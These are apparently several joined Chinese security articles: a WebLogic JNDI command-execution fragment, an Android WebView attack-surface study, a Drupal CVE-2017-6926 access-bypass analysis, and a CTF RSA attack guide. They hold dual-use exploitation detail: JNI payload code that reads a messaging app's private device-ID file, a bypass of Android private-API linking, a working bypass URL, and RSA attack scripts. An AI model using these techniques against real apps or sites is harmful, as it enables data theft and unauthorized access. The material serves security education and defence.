绑定成功后，首先要获取刚才绑定的恶意类，绑定名称`aaaaaaaa`，通过`initialContext.lookup`函数查找。查找成功后，通过下面代码实现命令执行以及回显
String commandResponse = remoteCode.getServerLocation("showmecode" + command);
System.out.println("命令结果如下");
System.out.println(commandResponse);
恶意类的getServerLocation如下
当然上述操作已经打包成工具，执行如下
### 参考:
1. <https://xz.aliyun.com/t/7393>
2. <https://github.com/5up3rc/weblogic_cmd>
感谢大佬关注公众号，不胜感激
powered by UnicodeSec | 社区文章 |
作者：[周知日@长亭科技](https://zhuanlan.zhihu.com/p/28107901?group_id=873526580289376256)
WebView 可在应用中嵌入一个内置的 Web 浏览器，是 Android 应用开发常用的组件之一。通过 WebView 对 Android
应用的攻击案例屡见不鲜，比如几年前就被玩坏的 addJavascriptInterface 远程代码执行。但修复了
addJavascriptInterface 并不表示就能高枕无忧。应用在 WebView 上为 Javascript
提供的扩展接口，可能因为接口本身的问题而变成安全漏洞。
除此之外，在没有启用进程隔离的 WebView 与 App
具有相同权限，获得任意代码执行后可以访问应用私有数据或其他系统接口，可以将浏览器漏洞移植到手机平台上对应用进行针对性攻击。部分厂商使用自行基于开源浏览器引擎
fork 而来的内核，也可能因为同步上游补丁代码不及时而出现可利用的漏洞。
在 Android N 中增加了一个开发者选项，就是在所有的应用中将 WebView
的渲染进程运行在独立的沙箱中。即使恶意网页通过漏洞在渲染进程中执行了代码，还需要更多的漏洞绕过沙箱的限制。这一特性将在 [Android O
中默认启用](http://link.zhihu.com/?target=https%3A//developer.android.com/preview/behavior-changes.html%23security-all)。但在这一缓解措施正式部署到大部分设备之前，通过攻击 WebView
获得远程代码执行进而直接攻击应用仍然是可行的。
#### Beyond addJavascriptInterface
本文并不打算炒 addJavascriptInterface 的冷饭，而是关注在接口本身的实现上。
即使是使用了相对安全的通信手段（如 shouldOverrideUrlLoading 或 onJsAlert
之类回调的方案，或是其他基于类似方案的开源通信库），如果应用接口设计不当，仍然存在被恶意页面通过 js 执行任意代码的可能。
###### 利用可写入的可执行文件
这一种攻击方式需要结合两种类型的漏洞，一是能在本地写入路径和内容可控的文件，二是应用中存在动态加载不可信代码的逻辑。逻辑漏洞不涉及内存破坏，利用起来非常稳定。另外此类漏洞调用逻辑相对复杂，可能较难通过完全自动化的方式扫描识别。
在 Android
中因为开发者不严谨造成任意文件写入的漏洞较为常见。首先是写文件的接口可能本身设计上就允许传入任意路径的参数，另一种情况就是直接拼接路径导致可以 “…/”
进行目录穿越。
常见的场景有：
* 下载远程文件到指定的路径
* 解压 zip 文件时未对 ZipEntry 文件名进行合法性检查，可路径穿越
* 下载时未对 Content-Disposition: 进行合法性检查，可路径穿越
最后一个点比较少人注意到。[Content Disposition](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition) 是常见的 HTTP 协议
header，在文件下载时可以告诉客户端浏览器下载的文件名。例如服务器返回 `Content-Disposition: attachment;
filename="cool.html"` ，浏览器将弹出另存为对话框（或直接保存），默认的文件名就是 `cool.html`。
但这个 filename 参数显然是不可信任的。例如恶意网站返回的文件名包含 `../`，当 Android 应用尝试将这个文件保存到
`/sdcard/Downloads` 时，攻击者就有机会把文件写入到 `/data/` 目录中了：
如果用户不小心点击确认下载，文件将会被写入到指定的位置。这种攻击甚至完全不需要 WebView 允许执行
Javascript（setJavaScriptEnabled(true)），只要简单在 HTTP 服务器中添加一个恶意 header 即可实现。
在写入文件后便是代码的加载。几种常见的 Android 下动态加载可执行代码的方式：
* DexClassLoader 动态载入应用可写入的 dex 可执行文件
* java.lang.Runtime.exec 方法执行应用可写入的 elf 文件
* System.load 和 System.loadLibrary 动态载入应用可写入的 elf 共享对象
* 本地代码使用 system、popen 等类似函数执行应用可写入的 elf 文件
* 本地代码使用 dlopen 载入应用可写入的 elf 共享对象
* 利用 Multidex 机制：[A Pattern for Remote Code Execution using Arbitrary File Writes and MultiDex Applications](https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/)
如果应用动态加载代码之前未做签名校验，利用存在任意文件写入问题的 WebView
扩展接口进行覆盖，可实现稳定的任意代码执行。此外由于在文件系统中写入了可执行文件，还可以实现持久化攻击的效果。
###### SQLite 接口
部分应用为 WebView 提供了可执行任意 SQL 语句的扩展接口，允许打开和查询文件名可控的数据库；除此之外，在 WebKit 中有一个比较少用的
WebDatabase 功能，已被 W3C 标准废弃，但 WebKit 和 Chromium 仍然保留了实现。SQLite3 中存在一些已知的攻击面（如
`load_extension` 和 `fts3_tokenizer` 等），因此浏览器的 WebSQL 对 SQL 中可查询的函数做了白名单限制。
但长亭安全实验室发现，即使是浏览器白名单中的 SQLite3 函数依然存在可利用的安全性问题，最终可实现一套利用在 Chrome 和 Safari
两大浏览器上通用的代码执行。 **此漏洞被用于 2017 年 Pwn2Own 黑客大赛上攻击 Safari 浏览器。此漏洞影响所有支持
WebDatabase 的浏览器（Windows、Linux、macOS、iOS、Android 上的 Chrome、Safari），包括多个 App
厂商基于 blink 或 WebKit 分支开发的浏览器引擎，影响数量非常可观。** 漏洞目前已被 SQLite
和相关浏览器引擎修复。关于漏洞利用细节，长亭安全实验室将在 BlackHat 大会上进行详细讲解：
https://www.blackhat.com/us-17/briefings/schedule/index.html#many-birds-one-stone-exploiting-a-single-sqlite-vulnerability-across-multiple-software-7024
即使是做了权限限制的 WebDatabase 依然会出现问题，而我们不时可以看到一些应用直接将 SQLite 查询接口不做任何限制就暴露给了
WebView。这意味着使用之前已知的攻击方式（fts3_tokenizer、load_extension、attach
外部数据库等）将可以结合脚本的能力得到充分利用。
一些应用允许通过参数打开指定文件名，实现上存在任意路径拼接的漏洞。恶意页面可以打开任意 App 沙盒目录下任意数据库进行查询，将私有数据完全暴露给攻击者。
为了安全以及实际开发工程量考虑，我们建议在开发混合应用时，如需为 HTML5 应用提供离线存储能力，可直接使用 localStorage、IndexedDB
等 API。
###### 其他可通过扩展接口触发的问题
扩展接口在增强了 Web 内容的表现力的同时，也为应用增大了攻击面。一些需要本地才能触发的问题，如 Intent、ContentProvider
等，可以通过扩展接口提供的便利得以远程利用。
例如，使用 js 唤起 Activity 是很常见的功能；开启 setAllowContentAccess 后 WebView 可以通过
content:// 访问 ContentProvider，甚至扩展接口本身提供了这样的能力……这些原本需要本地安装恶意应用，需要导出
Activity、ContentProvider 才能触发的问题，可以被远程调用了。
应用本身的实现也有可能存在命令注入、允许 js 访问反射等安全问题。比如这篇文章介绍了某 Android 上的浏览器 App，存在任意文件写入、SQL
注入、XSS 等问题，最终可以跨域获取用户信息、远程执行代码：http://d3adend.org/blog/?p=851
应用开发者在做接口的时候，不仅需要小心避免代码本身的安全漏洞，在 js 调用者的域上做好限制。
#### 从 shellcode 到攻击载荷
由于目前（< Android O）默认没有启用隔离进程的 WebView，将浏览器引擎的漏洞移植到 Android 平台来攻击带 WebView
的应用。多数浏览器引擎漏洞利用会最终执行一段 shellcode。不过仅仅反弹一个 shell 显然不足以实现攻击 App，还要有针对性地调用一些
Android 虚拟机运行时的特性。
例如通过 App 权限读取短信、联系人，或者需要解密应用自身使用的某个 SQLite 数据库的内容，就需要使用 JNI 实现相应的逻辑。
###### 载荷的载入
就攻击特定应用的场景而言，将载荷完全使用 shellcode 甚至 ROP 并非不可能，但或多或少增加工作量。有一个 shell
之后可以做什么？很容易想到下载一个可执行文件然后加载。Android 没有自带 wget 或 curl，除非用户自行 root 并安装
busybox。不过有 xxd 命令可以使用，使用 echo 和管道重定向的方式还是可以实现下载可执行文件的。
如果不想在文件系统留下痕迹，手工模拟动态链接、重定位 ELF，可在内存中直接加载可执行文件。BadKernel 是一个利用了 V8
上游已经修补，但未及时同步到第三方 fork 中的漏洞，攻击某知名即时聊天应用的案例。在 [BadKernel
的利用代码](https://github.com/secmob/BadKernel/blob/master/exploit.html#L282) 中，调用
JNI 查询 ContentProvider 获取短信的逻辑是单独编译到一个 so 中的。
在作者公开的利用代码中，首先通过 javascript 任意地址读写，搜索一行调用 dlsym 的机器码，从中解析出 dlopen@plt
的地址，再加上三条指令的长度获得 dlsym@plt 的地址。触发任意代码执行时将这两个函数指针传入
shellcode，以进一步解析所需的各种符号。最后进入 shellcode 中实现的简化版 linker，直接将 ELF 文件内容放在 RWX
内存中重定位处理后，执行其 so_main 导出函数。
###### JNI 基础
Android 中 JVM 和 C/C++ 开发的本地代码互相调用，可以使用 JNI（Java Native Interface）。在
System.loadLibrary 载入一个动态链接库之后，JVM 会调用 ELF 中导出的 `JNI_OnLoad(JavaVM *jvm, void
*reserved)` 函数，在这里可以做一些初始化的工作，以及使用 JNIEnv 的 RegisterNatives 方法动态将 Java
方法与本地代码绑定。
本地代码为 JNI 提供的方法的第一个参数是 JNIEnv 的指针，通过这个上下文可以访问 JVM 当前加载的类，通过反射机制调用 Java
层的功能。例如如下 Java 代码：
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("MicroMsg/CompatibleInfo.cfg"));
HashMap<Integer, String> hashMap = (HashMap<Integer, String>)ois.readObject();
String deviceId = hashMap.get(Integer.valueOf(258));
使用 JNI 实现如下：
char *id = malloc(64);
jstring filename = (*env)->NewStringUTF(env, "MicroMsg/CompatibleInfo.cfg");
jclass clsFileInputStream = (*env)->FindClass(env, "java/io/FileInputStream");
jclass clsObjectInputStream = (*env)->FindClass(env, "java/io/ObjectInputStream");
jclass clsHashMap = (*env)->FindClass(env, "java/util/HashMap");
jmethodID constructor = (*env)->GetMethodID(env, clsFileInputStream, "<init>", "(Ljava/lang/String;)V");
jobject fileInputStream = (*env)->NewObject(env, clsFileInputStream, constructor, filename);
constructor = (*env)->GetMethodID(env, clsObjectInputStream, "<init>", "(Ljava/io/InputStream;)V");
jobject objInputStream = (*env)->NewObject(env, clsObjectInputStream, constructor, fileInputStream);
jmethodID readObject = (*env)->GetMethodID(env, clsObjectInputStream, "readObject", "()Ljava/lang/Object;");
jobject hashmap = (*env)->CallObjectMethod(env, objInputStream, readObject);
// cast to hash map
jmethodID get = (*env)->GetMethodID(env, clsHashMap, "get", "(Ljava/lang/Object;)Ljava/lang/Object;");
jmethodID toString = (*env)->GetMethodID(env, (*env)->FindClass(env, "java/lang/Object"), "toString", "()Ljava/lang/String;");
jclass clsInteger = (*env)->FindClass(env, "java/lang/Integer");
jmethodID valueOf = (*env)->GetStaticMethodID(env, clsInteger, "valueOf", "(I)Ljava/lang/Integer;");
jobject key = (*env)->CallStaticObjectMethod(env, clsInteger, valueOf, 258);
jstring val = (*env)->CallObjectMethod(env, hashmap, get, key);
strncpy(id, (*env)->GetStringUTFChars(env, val, 0), len);
正常情况下，JNIEnv 是系统初始化并传给 native 方法的。但在开发利用载荷的时候不是使用标准的方式加载链接库，因此需要使用一些私有
API。如果代码直接运行在 App 进程中，可通过 `android::AndroidRuntime::getJNIEnv` 直接获取，或者
`JNI_GetCreatedJavaVMs` 获得当前进程的唯一 JVM 实例后调用其 GetEnv 方法。如果使用独立的可执行文件，可通过
`JNI_CreateJavaVM` 创建一个新的 JVM。
###### Android 调用 JVM 的一些问题
[Android N 对 NDK
链接的行为做了变更](http://link.zhihu.com/?target=https%3A//developer.android.com/about/versions/nougat/android-7.0-changes.html%3Fhl%3Dzh-cn%23ndk)，禁止链接到私有 API，包括上文提到的 JVM 相关函数。一个非常简单的绕过方式是向 dlopen 传入空指针作为的文件名，dlsym
将会在所有已加载的共享对象中查找符号。
typedef jint (JNICALL *GetCreatedJavaVMs)(JavaVM **, jsize, jsize *);
void *handle = dlopen(NULL, RTLD_NOW);
GetCreatedJavaVMs JNI_GetCreatedJavaVMs =
(GetCreatedJavaVMs) dlsym(handle, "JNI_GetCreatedJavaVMs");
另外一个坑是，在 ART 下，一个可执行文件如果要调用 JNI_CreateJavaVM 创建 JVM，那么它必须导出
`InitializeSignalChain`、`ClaimSignalChain`、`UnclaimSignalChain`、`InvokeUserSignalHandler`、`EnsureFrontOfChain`
这几个回调函数，否则会在 logcat 里看到大量类似 `"InitializeSignalChain is not exported by the
main executable."` 的提示，然后 SIGABRT。
AOSP 对应的代码如下，可以看到在输出这行日志之后就会调用 abort()：
https://android.googlesource.com/platform/art/+/master/sigchainlib/sigchain_dummy.cc
解决方案非常简单，只要在源文件里创建这几个对应的函数，代码留空，然后加上 JNIEXPORT 宏设置为导出符号即可：
JNIEXPORT void InitializeSignalChain() { }
JNIEXPORT void ClaimSignalChain() { }
JNIEXPORT void UnclaimSignalChain() { }
JNIEXPORT void InvokeUserSignalHandler() { }
JNIEXPORT void EnsureFrontOfChain() { }
#### 小结
WebView 在 Android
应用开发中应用广泛，功能复杂，是颇为理想的攻击面。点开一个链接或者扫描一个二维码就会执行恶意代码并不仅仅是都市传说。开发者在使用 WebView
的时候不仅要注意老生常谈的各种 getSettings()、javascriptInterface 点，还要注意防范通过扩展接口暴露的攻击面和安全问题。
#### 参考资料
* https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Disposition
* https://www.nowsecure.com/blog/2015/06/15/a-pattern-for-remote-code-execution-using-arbitrary-file-writes-and-multidex-applications/
* http://d3adend.org/blog/?p=851
* https://docs.oracle.com/javase/6/docs/technotes/guides/jni/spec/functions.html
* https://github.com/secmob/BadKernel
* https://android.googlesource.com/
* * * | 社区文章 |
作者：绿盟科技
来源：<http://blog.nsfocus.net/drupal8-cve-2017-6926/>
近期，著名的Drupal
CMS网站爆出7个漏洞，其中1个严重漏洞CVE-2017-6926，具有发表评论权限的用户可以查看他们无权访问的内容和评论，并且还可以为该内容添加评论。绿盟科技于上周发布了[《Drupal下周将发布重要安全补丁威胁预警通告》](http://blog.nsfocus.net/drupal-vulnerability/ "《Drupal下周将发布重要安全补丁威胁预警通告》")。
本篇文章对Drupal 8 – CVE-2017-6926漏洞进行了详细分析。
#### CVE-2017-6926 漏洞详情
先看下drupal官网的通告：
<https://www.drupal.org/sa-core-2018-001>
有发布评论权限的用户，可以查看他们无权访问的内容和评论。
并且还可以为此内容添加评论。
想要触发这个漏洞，必须启用评论系统，并且攻击者必须有权发布评论。
从漏洞描述来看，问题可能出在评论的权限控制上了。
但是这里有一个坑，笔者当时就掉进去了：这里的权限，指的是文章的权限？还是评论的权限呢？是攻击者可以访问他们不公开的评论呢？还是攻击者可以访问不公开的文章的公开评论呢？下面我会详细的分析这个漏洞，并给出上面问题的答案。
漏洞是在8.4.5上解决的，看一下8.4.5修改的内容：
这里在CommentController.php（评论控制器）里加上了一个对entity实体是否有view权限的判断。
这个好理解，之前没有对entity的权限进行判断，导致不可view的entity也通过了权限检查，从而导致了越权。
我们看下关于entity的介绍：
我们再看下漏洞存在的函数
`\core\modules\comment\src\Controller\CommentController.php`
public function replyFormAccess(EntityInterface $entity, $field_name, $pid = NULL) {
// Check if entity and field exists.
$fields = $this->commentManager->getFields($entity->getEntityTypeId());
if (empty($fields[$field_name])) {
throw new NotFoundHttpException();
}
$account = $this->currentUser();
// Check if the user has the proper permissions.
$access = AccessResult::allowedIfHasPermission($account, 'post comments');
$status = $entity->{$field_name}->status;
$access = $access->andIf(AccessResult::allowedIf($status == CommentItemInterface::OPEN)
->addCacheableDependency($entity));
再来看下这个方法的路由
`\core\modules\comment\comment.routing.yml`
comment.reply:
path: '/comment/reply/{entity_type}/{entity}/{field_name}/{pid}'
defaults:
_controller: '\Drupal\comment\Controller\CommentController::getReplyForm'
_title: 'Add new comment'
pid: ~
requirements:
_custom_access: '\Drupal\comment\Controller\CommentController::replyFormAccess'
options:
parameters:
entity:
type: entity:{entity_type}
可见replyFormAccess其实是getReplyForm方法的权限检查模块，传入replyFormAccess方法的参数将会是`{entity_type}/{entity}/{field_name}/{pid}`
我们实际测一下，访问这个模块，看看发送的参数是什么样子的：
对kingsguard test评论进行评论：
注意看url：<http://127.0.0.1/d/drupal4/comment/reply/node/1/comment/1>
{entity_type}：node
{entity}：1
{field_name}：comment
{pid}：1
现在可以明确了，传入replyFormAccess里的entity类型是node节点类型，接着下断看下entity的数据
在大概知道$entity是什么之后，我们再来看下补丁代码：
可见补丁加了一个判断
andIf(AccessResult::allowedIf($entity->access('view')));
看下allowedIf方法是怎么实现的：
public static function allowedIf($condition) {
return $condition ? static::allowed() : static::neutral();
}
可见allowedIf通过传入的参数的True/False来判断是否有权限进行操作。
这样看来，$entity->access(‘view’)只有True/False两种可能出现的值。
我们在后台下断，并且构造一个entity->access(‘view’)，下断看看$test何时能为False:
首先来找找，关于回复评论处的权限设置:
我们在admin账号下，发表一片名为kingsguard的文章，此文章有一个kingsguard test的评论：
我们将kingsguard test 这条评论的权限编辑成不公开
我们用admin账号回复一下这个评论，后台看下$$test = $entity->access(‘view’);的值：
毫无疑问，$test的值是true
现在用另一个账号登录，也访问<http://127.0.0.1/d/drupal4/comment/reply/node/2/comment/6>这个连接试试：
$test仍然为true。
当时笔者就是掉到这个坑里了，明明这条评论设置为不公开，为什么不同用户访问，$entity->access(‘view’)都是true呢？
后来证明了，其实这里的entity->access(‘view’)也同样不是单条评论的是否有view权限，而是这篇文章是否有view权限。
其实观察url就可以发现这个问题了：
<http://127.0.0.1/d/drupal4/comment/reply/node/1/comment/6>（回复第一篇文章的第六个评论）
<http://127.0.0.1/d/drupal4/comment/reply/node/2/comment/6>（回复第二篇文章的第六个评论）
显然这里的1和2，指的是文章的编号，同时也是entity的编号，那显然entity指的是文章而不是评论。
我们用admin账号编辑kingsguard这篇文章，把published选项的勾去掉：
这时候用admin账号回复kingsguard test这条评论：
对于admin账号来说，$entity->access(‘view’);仍为true
再用其他账号登录：
因为admin账号发布的文章都被admin账号设置为不公开了，所以这里看不到任何文章。
继续用这个账号访问：
<http://127.0.0.1/d/drupal4/comment/reply/node/2/comment/6>
可以看到，虽然文章不公开，仍然可以看到不公开文章的评论，并且还能对评论进行回复。
再看下后台下的断点：
此时的$entity->access(‘view’)变成了false
#### 利用验证
假设id为{node_id}的文章被作者设置为不公开，想查看/回复此文章的id为{comment_id}的评论。
访问<http://x.x.x.x/comment/reply/node/{node_id}/comment/{comment_id}>
#### 漏洞修复
升级Drupal至最新版本
* * * | 社区文章 |
# 【技术分享】CTF中RSA的常见攻击方法
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
MathJax.Hub.Config({tex2jax: {inlineMath: [[‘$’,’$’], [‘\\(‘,’\\)’]]}});
大家好，我是FlappyPig的队长bibi，近期因为一些比赛以及其他原因，总结了一些RSA方面的东西，于是在这里与大家分享，希望大家能有所收获，如有不当之处敬请批评指正。
**0x01 前言**
这里就不讨论数论的基础了，进行RSA的题目解答，至少要懂得基本的数论知识的，如果不了解数论的基本知识的话，网上相关内容还是挺多的。
RSA基于一个简单的数论事实，两个大素数相乘十分容易，将其进行因式分解确实困难的。在量子计算机还没有成熟的今天，RSA算法凭借其良好的抵抗各种攻击的能力，在公钥密码体制中发挥着中流砥柱的作用。然而即便RSA算法目前来说是安全可靠的，但是错误的应用场景，错误的环境配置，以及错误的使用方法，都会导致RSA的算法体系出现问题，从而也派生出针对各种特定场景下的RSA攻击方法。
本文针对一些在CTF中常见的RSA攻击方法，从如何识别应该应用那种方法以及如何去解题来介绍CTF中的RSA题目的常见解法。
**RSA算法描述**
RSA算法涉及三个参数，n，e，d，私钥为n，d，公钥为n，e。
其中n是两个大素数p，q的乘积。
d是e模$ varphi(n) $的逆元，$ varphi(n) $是n的欧拉函数。
c为密文，m为明文，则加密过程如下：
$ cequiv m^e mod n $
解密过程如下：
$ mequiv c^d$ $mod$ $n$
n，e是公开的情况下，想要知道d的值，必须要将n分解计算出n的欧拉函数值，而n是两个大素数p，q的乘积，将其分解是困难的。
**RSA题目类型**
在CTF竞赛中，RSA理所当然处在CRYPTO中居多。而且RSA作为典型的加密算法，其出镜率可谓相当高，基本上所有比赛都会有几道RSA的题目出现。
**数据处理**
在进行做题之前，我们要将数据处理成可以做题的模式。基本上来说，RSA的题目都是围绕着c，m，e，d，n，p，q这几个参数展开的，但是题目一般不会直接给这种样子的参数，而是通过别的方式给出，这里就需要我们使用一些工具或者自己手工将这些参数提取出来。
pem文件 **：** 针对此类文件可以直接使用openssl提取，大概使用过的方式有：
openssl rsautl -encrypt -in FLAG -inkey public.pem -pubin -out flag.enc
openssl rsa -pubin -text -modulus -in warmup -in public.pem
pcap文件：针对此类文件可以使用wireshark follow一下。这种问题一般都是写了一个交互的crypto系统，所以可能产生多轮交互。
PPC模式：这种模式是上述pcap文件的交互版，会给一个端口进行一些crypto的交互，参数会在交互中给出。
第二个需要处理的就是明密文，这个方法多多，不多赘述。
**0x02 模数分解**
说一说
解决RSA题目最简单，最暴力，最好使的方法就是分解模数n。如果能够将n分解成功，成功得到p，q的取值，那么可求n的欧拉函数的值。
$ varphi(n)=(p-1)(q-1) $
而通过e，d与n的欧拉函数满足如下关系：
$ed=1$ $mod$ $varphi(n) $
通过欧几里得算法可以通过e与n的欧拉函数的值轻易求出d，从而计算出解密密钥。
即在知道e，p，q的情况下，可以解出d：
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
modinv函数即为求模拟的函数，在知道e，p，q的情况下，可以：
d=modinv(e,(p-1)*(q-1))
即可求出解密密钥。
写到这里，要提出一个细节问题，在利用python进行rsa的题目求解过程中：
$ cequiv m^e mod n $
此类运算需要使用pow函数来进行求解，而不是直接m**e %
n，这样会慢死的。Python在处理此类运算进行了优化。比如刚才在已知p，q的时候利用modinv函数求出了d，然后就可以利用pow函数求出明文：
m=pow(c,d,n)
**例题：**
<https://www.jarvisoj.com> (very easy RSA)
题目中直接给了p，q，e。
可以直接求出d：
p = 3487583947589437589237958723892346254777
q = 8767867843568934765983476584376578389
e = 65537
d = modinv(e, (p-1)*(q-1))
print d
**
**
**直接分解n**
**介绍：**
素数分解问题是困难的，但是可以通过计算机进行暴力分解。1999年，名为Cray的超级计算机用了5个月时间分解了512bit的n。2009年，一群研究人员成功分解了768bit的n。2010年，又提出了一些针对1024bit的n的分解的途径，但是没有正面分解成功。通常意义上来说，一般认为2048bit以上的n是安全的。现在一般的公钥证书都是4096bit的证书。
如果n比较小，那么可以通过工具进行直接n分解，从而得到私钥。如果n的大小小于256bit，那么我们通过本地工具即可爆破成功。例如采用windows平台的RSATool2v17，可以在几分钟内完成256bit的n的分解。
如果n在768bit或者更高，可以尝试使用一些在线的n分解网站，这些网站会存储一些已经分解成功的n，比如：[http://factordb.com](http://factordb.com/)
通过在此类网站上查询n，如果可以分解或者之前分解成功过，那么可以直接得到p和q。然后利用前述方法求解得到密文。
**识别：** ****
此类问题一般是分值较小的题目，提取出n之后可以发现n的长度小于等于512bit，可以直接取分解n。如果大于512bit，建议在使用每个题目都用后面所说的方法去解题。
**例题：** ****
比如在某次竞赛中，发现：
n=87924348264132406875276140514499937145050893665602592992418171647042491658461
利用factordb分解：
**
**
**利用公约数**
**介绍：** ****
如果在两次公钥的加密过程中使用的$n_1$ 和$n_2$具有相同的素因子，那么可以利用欧几里得算法直接将$n_1$和$n_2$分解。
通过欧几里得算法可以直接求出$n_1$和$n_2$的最大公约数p：
$(n1,n2)=p$
可以得出：
$n_1=p$$q_1$
$n_2=p$$q_2$
直接分解成功。而欧几里得算法的时间复杂度为：O(log n)。这个时间复杂度即便是4096 bit也是秒破级别。
def gcd(a, b):
if a < b:
a, b = b, a
while b != 0:
temp = a % b
a = b
b = temp
return a
识别此类题目，通常会发现题目给了若干个n，均不相同，并且都是2048bit，4096bit级别，无法正面硬杠，并且明文都没什么联系，e也一般取65537。
识别：
**例题：** ****
在一个题目中，你拿到了两个n，e都为65537，两个n分别为：
n1=9051013965404084482870087864821455535159008696042953021965631089095795348830954383127323853272528967729311045179605407693592665683311660581204886571146327720288455874927281128121117323579691204792399913106627543274457036172455814805715668293705603675386878220947722186914112990452722174363713630297685159669328951520891938403452797650685849523658191947411429068829734053745180460758604283051344339641429819373112365211739216160420494167071996438506850526168389386850499796102003625404245645796271690310748804327
n2=13225948396179603816062046418717214792668512413625091569997524364243995991961018894150059207824093837420451375240550310050209398964506318518991620142575926623780411532257230701985821629425722030608722035570690474171259238153947095310303522831971664666067542649034461621725656234869005501293423975184701929729170077280251436216167293058560030089006140224375425679571181787206982712477261432579537981278055755344573767076951793312062480275004564657590263719816033564139497109942073701755011873153205366238585665743
通过直接分解，上factordb都分解失败。通过尝试发现：
print gcd(n1,n2)
打印出：
1564859779720039565508870182569324208117555667917997801104862601098933699462849007879184203051278194180664616470669559575370868384820368930104560074538872199213236203822337186927275879139590248731148622362880471439310489228147093224418374555428793546002109
则此致即为两个n共有的素因子p，然后进一步求出q，求解完毕。
**Fermat方法与Pollard rho方法**
**介绍：** ****
针对大整数的分解有很多种算法，性能上各有优异，有Fermat方法，Pollard
rho方法，试除法，以及椭圆曲线法，连分数法，二次筛选法，数域分析法等等。其中一些方法应用在RSA的攻击上也有奇效。
在p，q的取值差异过大，或者p，q的取值过于相近的时候，Format方法与Pollard rho方法都可以很快将n分解成功。
此类分解方法有一个开源项目yafu将其自动化实现了，不论n的大小，只要p和q存在相差过大或者过近时，都可以通过yafu很快地分解成功。
**识别：** ****
在直接分解n无望，不能利用公约数分解n之后，都应该使用yafu去试一下。
**例题：**
[https://www.jarvisoj.com](https://www.jarvisoj.com) (Medium RSA)
此题首先从pem中提取N和e，然后上yafu，直接分解成功。
**0x03 低加密指数攻击**
****
在RSA中e也称为加密指数。由于e是可以随意选取的，选取小一点的e可以缩短加密时间，但是选取不当的话，就会造成安全问题。
**e=3时的小明文攻击**
**介绍：**
当e=3时，如果明文过小，导致明文的三次方仍然小于n，那么通过直接对密文三次开方，即可得到明文。
即：
$ cequiv m^e$ $mod$ $n$
如果e=3，且$ m^e<{n} $，那么：
$ c= m^e,$ $e=3$
$ m=sqrt[3]{c}$
如果明文的三次方比n大，但是不是足够大，那么设k，有：
$ c= m^e+kn$
爆破k，如果$ c-kn $能开三次根式，那么可以直接得到明文。
**识别：**
推荐在e=3的时候首先尝试这种方法。
**例题：** ****
[https://www.jarvisoj.com](https://www.jarvisoj.com) (Extremely hard RSA)
关键代码如下：此题通过不断给明文+n开三次方即可求得：
i=0
while 1:
if(gmpy.root(c+i*N, 3)[1]==1):
print gmpy.root(c+i*N, 3)
break
i=i+1
**低加密指数广播攻击**
**介绍：** ****
如果选取的加密指数较低，并且使用了相同的加密指数给一个接受者的群发送相同的信息，那么可以进行广播攻击得到明文。
即，选取了相同的加密指数e（这里取e=3），对相同的明文m进行了加密并进行了消息的传递，那么有：
$ c_1equiv m^e$ $mod$ $n_1$
$ c_2equiv m^e$ $mod$ $n_2$
$ c_3equiv m^e$ $mod$ $n_3$
对上述等式运用中国剩余定理，在e=3时，可以得到：
$ c_xequiv m^3$ $mod$ $n_1n_2n_3$
通过对$ c_x $进行三次开方可以求得明文。
**识别：**
这个识别起来比较简单，一般来说都是给了三组加密的参数和明密文，其中题目很明确地能告诉你这三组的明文都是一样的，并且e都取了一个较小的数字。
**例题：**
SCTF2016，CODE300
题目第二轮中通过流量包的方式给了广播攻击的参数。
这里我就不卖萌了，直接给国外类似一题的网址：<http://codezen.fr/2014/01/16/hackyou-2014-crypto-400-cryptonet>
**Coppersmith定理攻击**
Coppersmith定理指出在一个e阶的mod n多项式f(x)中，如果有一个根小于$ n^frac{1}{e} $，就可以运用一个O(log
n)的算法求出这些根。
这个定理可以应用于RSA算法。如果e = 3并且在明文当中只有三分之二的比特是已知的，这种算法可以求出明文中所有的比特。
并未找到真题。
**0x04 低解密指数攻击**
**介绍：**
与低加密指数相同，低解密指数可以加快解密的过程，但是者也带来了安全问题。Wiener表示如果满足：
$ d<frac{1}{3}gn^frac{1}{4}$
那么一种基于连分数(一个数论当中的问题)的特殊攻击类型就可以危害RSA的安全。此时需要满足：
$q<$$p$$<2q$
如果满足上述条件，通过Wiener Attack可以在多项式时间中分解n。
rsa-wiener-attack的攻击源码开源在了github中，采取python编写，可以很容易使用。
**识别：**
非常简单，e看起来很大就行了。
**例题：**
直接github用工具就行。<https://github.com/pablocelayes/rsa-wiener-attack>
这里注意一个细节问题，如果在运行脚本的时候报错，请在脚本前加上：
****
import sys
sys.setrecursionlimit(10000000)
****
**0x05 共模攻击**
**介绍：**
如果在RSA的使用中使用了相同的模n对相同的明文m进行了加密，那么就可以在不分解n的情况下还原出明文m的值。
即：
$ c_1equiv m^{e_1}$ $mod$ $n$
$ c_2equiv m^{e_2}$ $mod$ $n$
此时不需要分解n，不需要求解私钥，如果两个加密指数互素，就可以通过共模攻击在两个密文和公钥被嗅探到的情况下还原出明文m的值。
过程如下，首先两个加密指数互质，则：
$ (e_1,e_2)=1 $
即存在$ s_2 $，$ s_2 $使得：
$ s_1e_1+s_2e_2=1 $
又因为：
$ c_1equiv m^{e_1}$ $mod$ $n$
$ c_2equiv m^{e_2}$ $mod$ $n$
通过代入化简可以得出：
$c_1^{s_1}c_2^{s_2}equiv m$ $mod$ $n$
明文解出。
**识别：**
非常简单，若干次加密，每次n都一样，明文根据题意也一样即可。
**例题：**
<https://www.jarvisoj.com> (very hard RSA)
如果已知：n1，n2，c1，c2，e1，e2，并且其中n1=n2的话：
s = egcd(e1, e2)
s1 = s[1]
s2 = s[2]
print s
n=n1
if s1<0:
s1 = - s1
c1 = modinv(c1, n)
elif s2<0:
s2 = - s2
c2 = modinv(c2, n)
m=(pow(c1,s1,n)*pow(c2,s2,n)) % n
**0x06 总结 **
****
